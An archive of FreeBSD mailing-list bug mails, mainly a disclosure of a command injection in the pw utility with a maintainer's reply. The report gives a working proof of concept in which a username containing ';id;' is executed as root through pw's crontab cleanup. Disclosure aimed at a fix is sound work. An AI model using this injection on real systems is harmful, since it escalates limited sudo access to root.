From nobody Sun May 14 21:00:16 2023 X-Original-To: standards@mlmmj.nyi.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2610:1c1:1:606c::19:1]) by mlmmj.nyi.freebsd.org (Postfix) with ESMTP id 4QKFJJ52Wfz4C6sb for ; Sun, 14 May 2023 21:00:16 +0000 (UTC) (envelope-from bugzilla-noreply@FreeBSD.org) Received: from mxrelay.nyi.freebsd.org (mxrelay.nyi.freebsd.org [IPv6:2610:1c1:1:606c::19:3]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256 client-signature RSA-PSS (4096 bits) client-digest SHA256) (Client CN "mxrelay.nyi.freebsd.org", Issuer "R3" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 4QKFJJ37PNz3pFW for ; Sun, 14 May 2023 21:00:16 +0000 (UTC) (envelope-from bugzilla-noreply@FreeBSD.org) ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=freebsd.org; s=dkim; t=1684098016; h=from:from:reply-to:subject:subject:date:date:message-id:message-id: to:to:cc:mime-version:mime-version:content-type:content-type: content-transfer-encoding:content-transfer-encoding; bh=2Xl/eFszFdSEiGUafDFWxOintrQYv28ZTIExUrg3FKk=; b=g88duhZ5Mw8ni79jmr7F8+CqWbfVP89YsbzqjL9e6hGZueq1cIWxxosPhno+OkxJXGFjrM +R6nCF1yGnQ5SS4O9hykvfBASoyBKj4oOQTvH3bCRp2B2n3JCEy7LJhT5ZIbWJpGz4yMdo OLK2ReCHWvh8V8Ex3Raqce72VViCnX9lBU/Jbos7dw4NX6g+BopgWS7KRqQFOul8HdtYaT 1JeeyJ+itZLZixtzgfgRx7wzc+0VNshs9b9oBlRTkGSbHsXN9UhRCov0JXO8q0blUeuL0s rdwFL0yvgLsnnCh6MsHz/pk48nE7tV+XHuvR7TGiDr5G62oAgKVbnJdmzJekYA== ARC-Authentication-Results: i=1; mx1.freebsd.org; none ARC-Seal: i=1; s=dkim; d=freebsd.org; t=1684098016; a=rsa-sha256; cv=none; b=BRogUcpPXuaXDGLB+jnG+EaIYSfWW5PFJBH6sWXcKF+iHwDCNKskeSvvQ5s89wbcz7OeWf 7j1Hajne5W4l0wvQtZGjftOnNAtxwk0txuPblHlgbxo1a0WZS+I1QV972jhMNM5Gn3ly+5 E12LBMw+Qq+g6a+nhn6P4OII/CwQ1MSViDHUOQMcs+YuhyldsnD4W5NefygS4mPMs6GQu0 Ste4O20xZUJrnkyp9ttSrRquQjURsNKRdChZS9Ep1F9vSVdPxqqXnZ2YRZmKy+BwMEk/jI Elc5pIblD9VHxv8XoW3zeW+/sFLERLP6G7z2lBqP8thsupwGPvawPhfTcjABvg== Received: from kenobi.freebsd.org (kenobi.freebsd.org [IPv6:2610:1c1:1:606c::50:1d]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256) (Client did not present a certificate) by mxrelay.nyi.freebsd.org (Postfix) with ESMTPS id 4QKFJJ2DJTz1CSn for ; Sun, 14 May 2023 21:00:16 +0000 (UTC) (envelope-from bugzilla-noreply@FreeBSD.org) Received: from kenobi.freebsd.org ([127.0.1.5]) by kenobi.freebsd.org (8.15.2/8.15.2) with ESMTP id 34EL0GS4087402 for ; Sun, 14 May 2023 21:00:16 GMT (envelope-from bugzilla-noreply@FreeBSD.org) Received: (from bugzilla@localhost) by kenobi.freebsd.org (8.15.2/8.15.2/Submit) id 34EL0GEI087401 for standards@FreeBSD.org; Sun, 14 May 2023 21:00:16 GMT (envelope-from bugzilla-noreply@FreeBSD.org) Message-Id: <202305142100.34EL0GEI087401@kenobi.freebsd.org> X-Authentication-Warning: kenobi.freebsd.org: bugzilla set sender to bugzilla-noreply@FreeBSD.org using -f From: bugzilla-noreply@FreeBSD.org To: standards@FreeBSD.org Subject: Problem reports for standards@FreeBSD.org that need special attention Date: Sun, 14 May 2023 21:00:16 +0000 List-Id: Standards compliance List-Archive: https://lists.freebsd.org/archives/freebsd-standards List-Help: List-Post: List-Subscribe: List-Unsubscribe: Sender: owner-freebsd-standards@freebsd.org X-BeenThere: freebsd-standards@freebsd.org MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="16840980162.6b31b.85873" Content-Transfer-Encoding: 7bit X-ThisMailContainsUnwantedMimeParts: N --16840980162.6b31b.85873 Date: Sun, 14 May 2023 21:00:16 +0000 MIME-Version: 1.0 Content-Type: text/plain; charset="UTF-8" To view an individual PR, use: https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=(Bug Id). The following is a listing of current problems submitted by FreeBSD users, which need special attention. These represent problem reports covering all versions including experimental development code and obsolete releases. Status | Bug Id | Description ------------+-----------+--------------------------------------------------- Open | 46441 | sh(1): Does not support PS1, PS2, PS4 parameter e 1 problems total for which you should take action. --16840980162.6b31b.85873 Date: Sun, 14 May 2023 21:00:16 +0000 MIME-Version: 1.0 Content-Type: text/html; charset="UTF-8" 
The following is a listing of current problems submitted by FreeBSD users,
which need special attention. These represent problem reports covering
all versions including experimental development code and obsolete releases.

Status      |    Bug Id | Description
------------+-----------+---------------------------------------------------
Open        |     46441 | sh(1): Does not support PS1, PS2, PS4 parameter e

1 problems total for which you should take action.
--16840980162.6b31b.85873-- From nobody Mon May 15 06:09:40 2023 X-Original-To: standards@mlmmj.nyi.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2610:1c1:1:606c::19:1]) by mlmmj.nyi.freebsd.org (Postfix) with ESMTP id 4QKTVD3jTVz4BCTw for ; Mon, 15 May 2023 06:09:40 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) Received: from mxrelay.nyi.freebsd.org (mxrelay.nyi.freebsd.org [IPv6:2610:1c1:1:606c::19:3]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256 client-signature RSA-PSS (4096 bits) client-digest SHA256) (Client CN "mxrelay.nyi.freebsd.org", Issuer "R3" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 4QKTVD0xqmz3Jpc for ; Mon, 15 May 2023 06:09:40 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=freebsd.org; s=dkim; t=1684130980; h=from:from:reply-to:subject:subject:date:date:message-id:message-id: to:to:cc:mime-version:mime-version:content-type:content-type: content-transfer-encoding:content-transfer-encoding; bh=rITRU+yTQtXTgRA4UykSXIOfSJ6btVhsQwYmtVa4xSY=; b=wAGHXkTOx5s7hIzshPdQJXI+CEEKIFoQaP50dtCNjoQElXkSo6fnQi3RPbUE4FiUKQ3Jsj km5ZWB8JfOcJ4+sSt11ZMCjv79wlpzICrzyyQT+RHhjF5F/caOcTUnUff80wWQFrLXW3T1 +KUCduE5K+5/Ag+swAxW8iPmSCY+om9+bhxitGXTZDT5qBZJoVxr1Bteo6/iw048R9+84N lFK7ZDO0NyXUHkxWUXr3/+iOMsUTK5Ha9MD8sMucwCXwj627R88lHOOLVbphQA+VTHsi5y t9Ky3p7+5nEQpgmhNAjW/pdo4IsYCSkr0/01T61DTUZ1lYGRw0+CdkrcHhJaMA== ARC-Authentication-Results: i=1; mx1.freebsd.org; none ARC-Seal: i=1; s=dkim; d=freebsd.org; t=1684130980; a=rsa-sha256; cv=none; b=goA0nnFL8yXj95Zbi+4b5yIF56rfvHJI7ezvHlH7YqPZGVWgiRdUlP8G0/ALz4ibV6q32T PHvMyazJRe9zI0RlGzaQ4//PvzGq+j91NCqldH2KrU+JLdHMT4Jhl4GJe8Rss5A3XAgRby NBKZGmYdR5Vt/yRj4222KTDuji5zLk1wXok4xkoYOTURGG1H+5kVfmJGxw/06cIllLBjjp Dq8PE1swisC+49rf/Nl5ySZllLvsmWsVnkSKn2lbvnqcPXIT2E7NRrnJCSZi2oMv5F8IFP 7czvLJjETVxLreD6L5ME2XNSLPfIq/ebtiZgqPsRX+Ond+D0Lx3dhUYSH4jP3A== Received: from kenobi.freebsd.org (kenobi.freebsd.org [IPv6:2610:1c1:1:606c::50:1d]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256) (Client did not present a certificate) by mxrelay.nyi.freebsd.org (Postfix) with ESMTPS id 4QKTVC71nJzVMQ for ; Mon, 15 May 2023 06:09:39 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) Received: from kenobi.freebsd.org ([127.0.1.5]) by kenobi.freebsd.org (8.15.2/8.15.2) with ESMTP id 34F69dlk006146 for ; Mon, 15 May 2023 06:09:39 GMT (envelope-from bugzilla-noreply@freebsd.org) Received: (from www@localhost) by kenobi.freebsd.org (8.15.2/8.15.2/Submit) id 34F69djx006145 for standards@FreeBSD.org; Mon, 15 May 2023 06:09:39 GMT (envelope-from bugzilla-noreply@freebsd.org) X-Authentication-Warning: kenobi.freebsd.org: www set sender to bugzilla-noreply@freebsd.org using -f From: bugzilla-noreply@freebsd.org To: standards@FreeBSD.org Subject: [Bug 271427] FreeBSD pw command injection vulnerability Date: Mon, 15 May 2023 06:09:40 +0000 X-Bugzilla-Reason: AssignedTo X-Bugzilla-Type: new X-Bugzilla-Watch-Reason: None X-Bugzilla-Product: Base System X-Bugzilla-Component: standards X-Bugzilla-Version: 13.2-RELEASE X-Bugzilla-Keywords: X-Bugzilla-Severity: Affects Only Me X-Bugzilla-Who: 858573819@qq.com X-Bugzilla-Status: New X-Bugzilla-Resolution: X-Bugzilla-Priority: --- X-Bugzilla-Assigned-To: standards@FreeBSD.org X-Bugzilla-Flags: X-Bugzilla-Changed-Fields: bug_id short_desc product version rep_platform op_sys bug_status bug_severity priority component assigned_to reporter attachments.created Message-ID: Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable X-Bugzilla-URL: https://bugs.freebsd.org/bugzilla/ Auto-Submitted: auto-generated List-Id: Standards compliance List-Archive: https://lists.freebsd.org/archives/freebsd-standards List-Help: List-Post: List-Subscribe: List-Unsubscribe: Sender: owner-freebsd-standards@freebsd.org X-BeenThere: freebsd-standards@freebsd.org MIME-Version: 1.0 X-ThisMailContainsUnwantedMimeParts: N https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=3D271427 Bug ID: 271427 Summary: FreeBSD pw command injection vulnerability Product: Base System Version: 13.2-RELEASE Hardware: Any OS: Any Status: New Severity: Affects Only Me Priority: --- Component: standards Assignee: standards@FreeBSD.org Reporter: 858573819@qq.com Created attachment 242180 --> https://bugs.freebsd.org/bugzilla/attachment.cgi?id=3D242180&action= =3Dedit the describtion of the bug =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Summary =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D I found a command injection vulnerability in the /usr/sbin/pw=20 and tested it successfully on FreeBSD 13.2-RELEASE. =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Analysis =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D In usr.sbin/pw/pw_user.c file, the pw_checkname function's badchars filteri= ng of=20 malicious characters is not strict, such as no filtering of semicolons( ; ). badchars filtering is as below: ----------------------------------------- char * pw_checkname(char *name, int gecos) { char showch[8]; const char *badchars, *ch, *showtype; int reject; ch =3D name; reject =3D 0; if (gecos) { /* See if the name is valid as a gecos (comment) field. */ badchars =3D ":"; showtype =3D "gecos field"; } else { /* See if the name is valid as a userid or group. */ badchars =3D " ,\t:+&#%$^()!@~*?<>=3D|\\/\""; showtype =3D "userid/group name"; /* Userids and groups can not have a leading '-'. */ if (*ch =3D=3D '-') reject =3D 1; } ---------------------------------------------------------- So I can use the command: pw add user 'test;id;'=20 to bypass the malicious character check above and=20 a user named 'test;id;' ----------------------------------------------------------- buff@freebsd:~ $ sudo pw user add 'test;id;' buff@freebsd:~ $ sudo pw user show 'test;id;' test;id;:*:1003:1003::0:0:User &:/home/test;id;:/bin/sh ---------------------------------------------------------------------------= --------------------------- In the pw_user_del function, when deleting a user, the related crontab tasks will also be=20 deleted by using the system() function to execute the contab command. ---------------------------------------------------------------------------= --------------------------- if (!PWALTDIR()) { /* Remove crontabs */ snprintf(file, sizeof(file), "/var/cron/tabs/%s", pwd->pw_name); if (access(file, F_OK) =3D=3D 0) { // crontab -u test;id; -r snprintf(file, sizeof(file), "crontab -u %s -r", pwd->pw_name); system(file); } } ---------------------------------------------------------------------------= -- If we have a username called 'test;id;', so the system(file) is equal to=20 system("crontab -u test;id;-r "), this command will successfully execute=20 the id command. ---------------------------------------------------------------------------= -- buff@freebsd:~ $ crontab -u test;id;-r crontab: must be privileged to use -u uid=3D1001(buff) gid=3D1001(buff) groups=3D1001(buff) -sh: -r: not found ---------------------------------------------------------------------------= --- =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Attack case =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D My account( buff ) is just running the `pw` and `crontab` using for sudo, = and the=20 contents of sudoers are as follows: --------------------------------------------------- buff ALL=3D(root) NOPASSWD:/usr/sbin/pw buff ALL=3D(root) NOPASSWD:/usr/bin/crontab --------------------------------------------------- Next, I created a malicious username using `pw`. ------------------------------------------------------------ buff@freebsd:~ $ sudo pw user add 'test;id;' buff@freebsd:~ $ sudo pw user show 'test;id;' test;id;:*:1003:1003::0:0:User &:/home/test;id;:/bin/sh buff@freebsd:~ $ ------------------------------------------------------------------------- Then, I used crontab to create a task for the username 'test;id;'. ------------------------------------------------------------------------- buff@freebsd:~ $ sudo crontab -u 'test;id;' -l 5 * * * * ls buff@freebsd:~ $ ------------------------------------------------------------------------- Finally, using the `pw user del 'test;id;'` command will delete the=20 user and its corresponding crontab task, and execute the=20 malicious injected `id` command. ------------------------------------------------------------------------- buff@freebsd:~ $ sudo pw user del 'test;id;' crontab: user `test' unknown uid=3D0(root) gid=3D0(wheel) groups=3D0(wheel),5(operator) sh: -r: not found buff@freebsd:~ $ ------------------------------------------------------------------------- =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Patch =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Enhance the badchars in the pw_checkname function by adding=20 semicolons and other characters that may cause malicious=20 command injection. --=20 You are receiving this mail because: You are the assignee for the bug.= From nobody Mon May 15 06:38:13 2023 X-Original-To: standards@mlmmj.nyi.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2610:1c1:1:606c::19:1]) by mlmmj.nyi.freebsd.org (Postfix) with ESMTP id 4QKV7B1QLlz4BFHT for ; Mon, 15 May 2023 06:38:14 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) Received: from mxrelay.nyi.freebsd.org (mxrelay.nyi.freebsd.org [IPv6:2610:1c1:1:606c::19:3]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256 client-signature RSA-PSS (4096 bits) client-digest SHA256) (Client CN "mxrelay.nyi.freebsd.org", Issuer "R3" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 4QKV795mD6z3N7X for ; Mon, 15 May 2023 06:38:13 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=freebsd.org; s=dkim; t=1684132693; h=from:from:reply-to:subject:subject:date:date:message-id:message-id: to:to:cc:mime-version:mime-version:content-type:content-type: content-transfer-encoding:content-transfer-encoding: in-reply-to:in-reply-to:references:references; bh=l4+ep4sycX6+o0aGbybTTWTvVXbi3m/+0XZVdVsHZr0=; b=MkiY/votSk+vZKAlIrgp8nPk6GkbBT9Nb/0MhBdpe9LMX8enBG7TtFV3F3EpXLbz5rC4tL suzdSrYDi11/e0H4y1EKlhBF4v1xlxvTC0Ns6GMgnjirnlwCRCXDy+wPVYZ2l6sissMrSo f0f1pI6iMEd+DbewQA4cSXeMeDQKzVmf8IyXzfzobldb5q78OfN1ow4/i4oWCAGAzDjiu1 J5DCJQGSSWqYhUNiBh9RuvpJaP0EHFGfag5GtytsRAs8LcXDkavPm5RuG86jhZ/m3vr4EZ rh5apmUHGULX2zsJQkT4m//45k1Sl0L1wE1zTMK1tma5qiE/y1NdREwdaqtYOw== ARC-Authentication-Results: i=1; mx1.freebsd.org; none ARC-Seal: i=1; s=dkim; d=freebsd.org; t=1684132693; a=rsa-sha256; cv=none; b=OUUZabfFsWql4hoZz4BBIq9YYWSaE3S0XFnsDI4baiOqaUphvinHQP22H52aD5h1Wue6ac LJ2nUIQZw4Ocn7giLTuEuLnIqvO+/YPwpk/x9MaPu0iSgg9Xr504bGqH5Wl6Tox2KyGOhQ c49zTqNQ9jvfI0dHYj3UqrLx7fEpuq0a2DtoZw2+/0Jf3IAS+yE5D13Mfsp3jcqvDSbe4d hpYYobA+Uvlwn76zAsK8NjDlfYYnbSoNOvyCEK/L9df/twEKrV2h2wbxTM/QKHOxoUyTVQ fWoPys9iLe/vKE0Ce71Bl+a1xICF5PFOKmxndZfEF6zQ0l3ph+rhhK2oSO3qRg== Received: from kenobi.freebsd.org (kenobi.freebsd.org [IPv6:2610:1c1:1:606c::50:1d]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256) (Client did not present a certificate) by mxrelay.nyi.freebsd.org (Postfix) with ESMTPS id 4QKV794jVczW1l for ; Mon, 15 May 2023 06:38:13 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) Received: from kenobi.freebsd.org ([127.0.1.5]) by kenobi.freebsd.org (8.15.2/8.15.2) with ESMTP id 34F6cDjU051652 for ; Mon, 15 May 2023 06:38:13 GMT (envelope-from bugzilla-noreply@freebsd.org) Received: (from www@localhost) by kenobi.freebsd.org (8.15.2/8.15.2/Submit) id 34F6cDlX051651 for standards@FreeBSD.org; Mon, 15 May 2023 06:38:13 GMT (envelope-from bugzilla-noreply@freebsd.org) X-Authentication-Warning: kenobi.freebsd.org: www set sender to bugzilla-noreply@freebsd.org using -f From: bugzilla-noreply@freebsd.org To: standards@FreeBSD.org Subject: [Bug 271427] FreeBSD pw command injection vulnerability Date: Mon, 15 May 2023 06:38:13 +0000 X-Bugzilla-Reason: AssignedTo X-Bugzilla-Type: changed X-Bugzilla-Watch-Reason: None X-Bugzilla-Product: Base System X-Bugzilla-Component: standards X-Bugzilla-Version: 13.2-RELEASE X-Bugzilla-Keywords: X-Bugzilla-Severity: Affects Only Me X-Bugzilla-Who: 858573819@qq.com X-Bugzilla-Status: New X-Bugzilla-Resolution: X-Bugzilla-Priority: --- X-Bugzilla-Assigned-To: standards@FreeBSD.org X-Bugzilla-Flags: X-Bugzilla-Changed-Fields: attachments.created Message-ID: In-Reply-To: References: Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable X-Bugzilla-URL: https://bugs.freebsd.org/bugzilla/ Auto-Submitted: auto-generated List-Id: Standards compliance List-Archive: https://lists.freebsd.org/archives/freebsd-standards List-Help: List-Post: List-Subscribe: List-Unsubscribe: Sender: owner-freebsd-standards@freebsd.org X-BeenThere: freebsd-standards@freebsd.org MIME-Version: 1.0 X-ThisMailContainsUnwantedMimeParts: N https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=3D271427 --- Comment #1 from pbuff <858573819@qq.com> --- Created attachment 242182 --> https://bugs.freebsd.org/bugzilla/attachment.cgi?id=3D242182&action= =3Dedit pw_user_c.patch --=20 You are receiving this mail because: You are the assignee for the bug.= From nobody Mon May 15 06:58:20 2023 X-Original-To: standards@mlmmj.nyi.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2610:1c1:1:606c::19:1]) by mlmmj.nyi.freebsd.org (Postfix) with ESMTP id 4QKVZN5lD4z4BFfP for ; Mon, 15 May 2023 06:58:20 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) Received: from mxrelay.nyi.freebsd.org (mxrelay.nyi.freebsd.org [IPv6:2610:1c1:1:606c::19:3]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256 client-signature RSA-PSS (4096 bits) client-digest SHA256) (Client CN "mxrelay.nyi.freebsd.org", Issuer "R3" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 4QKVZN36RYz3P5k for ; Mon, 15 May 2023 06:58:20 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=freebsd.org; s=dkim; t=1684133900; h=from:from:reply-to:subject:subject:date:date:message-id:message-id: to:to:cc:mime-version:mime-version:content-type:content-type: content-transfer-encoding:content-transfer-encoding: in-reply-to:in-reply-to:references:references; bh=vSPKhMtFCcsbI7fKGhG7N0lHASw4ZdNO258mUEaUIYc=; b=MbohWF41XoGygEGhPI97g8a71myuF6y7PL9vzIrS7DQkoNoruHDwNONqwxhfruf8o2yD5X uuBN2nT62kHgZMAYo2Zc06xnHS3m6dZHn2Ylcx6D8IJe+i3AUx7DXBjNLdbs0sIOmyyMfd OKrmJ0rWpLOnbBwjZZr44Ob2yBmzUxxc0F8/SXLjEne84uPCUwnla2hpLQJ8rIApiJTN3C HRJgisFnVw3GvqWy5r0F4JDbVkMl5IyJvM2w1Gpk3GhfRUUZT4L1ZNuAV4uTLTqv5I+RsU PA50o9ZCNkMxensuc1R1IrhXgk0KSRI48E6EG9oGmlpP5+O2pvLkQJJ0j9Ld0g== ARC-Authentication-Results: i=1; mx1.freebsd.org; none ARC-Seal: i=1; s=dkim; d=freebsd.org; t=1684133900; a=rsa-sha256; cv=none; b=hVJqn2ImjDC1q4uLPenp1KWx38fs7fNMa6jO1FsUFULXr9nACjFMPT3q+ZGuUFQ1EO6C+C Buw3tANECsJLXH8CzttTIt1pqdsH4iVE7ie6823iNqtJ41Td2bTldbng7aqtnis2+5i8Hu xNnHfA8rTzxlYqBJJqI2aOM/9JBW8K4N//pXujsZmKp20dPCldEM33YVJsKv5y8IAikR5g HFfjp3LGwWa5aO450m0JsV/qPJzAnQRsP7RxqUA6LAYRsVCCVGoiGVGC59yIt2impUGaGX Ck/l4FT0kG9sn27HY0x3QBrLtpgBn8KSnXTGzOkEu0MOdQXVgvJaIntBVEHelQ== Received: from kenobi.freebsd.org (kenobi.freebsd.org [IPv6:2610:1c1:1:606c::50:1d]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256) (Client did not present a certificate) by mxrelay.nyi.freebsd.org (Postfix) with ESMTPS id 4QKVZN29X4zWVF for ; Mon, 15 May 2023 06:58:20 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) Received: from kenobi.freebsd.org ([127.0.1.5]) by kenobi.freebsd.org (8.15.2/8.15.2) with ESMTP id 34F6wKv6079443 for ; Mon, 15 May 2023 06:58:20 GMT (envelope-from bugzilla-noreply@freebsd.org) Received: (from www@localhost) by kenobi.freebsd.org (8.15.2/8.15.2/Submit) id 34F6wK9g079442 for standards@FreeBSD.org; Mon, 15 May 2023 06:58:20 GMT (envelope-from bugzilla-noreply@freebsd.org) X-Authentication-Warning: kenobi.freebsd.org: www set sender to bugzilla-noreply@freebsd.org using -f From: bugzilla-noreply@freebsd.org To: standards@FreeBSD.org Subject: [Bug 271427] FreeBSD pw command injection vulnerability Date: Mon, 15 May 2023 06:58:20 +0000 X-Bugzilla-Reason: AssignedTo X-Bugzilla-Type: changed X-Bugzilla-Watch-Reason: None X-Bugzilla-Product: Base System X-Bugzilla-Component: standards X-Bugzilla-Version: 13.2-RELEASE X-Bugzilla-Keywords: X-Bugzilla-Severity: Affects Only Me X-Bugzilla-Who: bapt@FreeBSD.org X-Bugzilla-Status: In Progress X-Bugzilla-Resolution: X-Bugzilla-Priority: --- X-Bugzilla-Assigned-To: standards@FreeBSD.org X-Bugzilla-Flags: X-Bugzilla-Changed-Fields: bug_status Message-ID: In-Reply-To: References: Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable X-Bugzilla-URL: https://bugs.freebsd.org/bugzilla/ Auto-Submitted: auto-generated List-Id: Standards compliance List-Archive: https://lists.freebsd.org/archives/freebsd-standards List-Help: List-Post: List-Subscribe: List-Unsubscribe: Sender: owner-freebsd-standards@freebsd.org X-BeenThere: freebsd-standards@freebsd.org MIME-Version: 1.0 X-ThisMailContainsUnwantedMimeParts: N https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=3D271427 Baptiste Daroussin changed: What |Removed |Added ---------------------------------------------------------------------------- Status|New |In Progress --- Comment #2 from Baptiste Daroussin --- Hello, thank you for reporting, do you want to provide a git-format patch, = that I can incorporate straight? if not I can "guesse" it based on your bugzilla subscribtion. --=20 You are receiving this mail because: You are the assignee for the bug.= From nobody Mon May 15 07:09:09 2023 X-Original-To: standards@mlmmj.nyi.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2610:1c1:1:606c::19:1]) by mlmmj.nyi.freebsd.org (Postfix) with ESMTP id 4QKVps6Cf2z4BGXK for ; Mon, 15 May 2023 07:09:09 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) Received: from mxrelay.nyi.freebsd.org (mxrelay.nyi.freebsd.org [IPv6:2610:1c1:1:606c::19:3]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256 client-signature RSA-PSS (4096 bits) client-digest SHA256) (Client CN "mxrelay.nyi.freebsd.org", Issuer "R3" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 4QKVps2YH9z3PTQ for ; Mon, 15 May 2023 07:09:09 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=freebsd.org; s=dkim; t=1684134549; h=from:from:reply-to:subject:subject:date:date:message-id:message-id: to:to:cc:mime-version:mime-version:content-type:content-type: content-transfer-encoding:content-transfer-encoding: in-reply-to:in-reply-to:references:references; bh=pJ1D3uCUO2wP37qXRylMMPIFh9raTsy+oGpyvpiERBg=; b=I4CUoXTOK9+TDEDaSuFR1/gUi0EiNKxU5DsUPSvf6/PP0pousWBzfFAw25KVTljpmPxhpr 4ZJIka5QS0ZwddxlGmUVhrBbpO4IBi488mATTO7a/F7L/zyc9YyMzMqQTqlcvPYHJj8LNA OyWiZT86E2/Bff9V0yo22DV1k+Q2+OxoX+QG81yMQnQWWKnrX2ennASgihdp7Puf1Fdxls v2NBepxdWV2OnUnDV9aD1ONUxyDFL0ohpy5kCJ6ys0KZmRUwuSaE2Sm8eh1ZzUjLyMmdTs BGHLBkgRJlDkahrLrhbwXjoNAVlNCSKM0CaQ4E7PrWB5IPUUP+TWFGrr4RR6Vg== ARC-Authentication-Results: i=1; mx1.freebsd.org; none ARC-Seal: i=1; s=dkim; d=freebsd.org; t=1684134549; a=rsa-sha256; cv=none; b=O1X7NENRbHWWRyq9hzUsaBXVh79n+I/68c0x6uk3yxdCkyElE339WBXwXwXzZiAq4QS25T FXIpC6uflcJCtf8AQlJUh2r0X9QZ2TiBj++WsZttaTcD+dB+tvJvjUEAQBtczM7eAj0dID IYKM8i7kgB6uM6+in3JMUa35qzWV0bxoSEOoSfacmSOE4ytLXjVtA0Lu+8ts5L22vf27wC ChDUD2CxL2DLQ6YTtJlduq7mxlz85BesMct9KxgyHA2kSDyFpcSx6gvDLWJa7/V7MBS0We l43JoiX3/WVX2TO9kz+DXEz/I+26rvK9ePk+nN3xz3/x/vRgQOIG51med1ky9Q== Received: from kenobi.freebsd.org 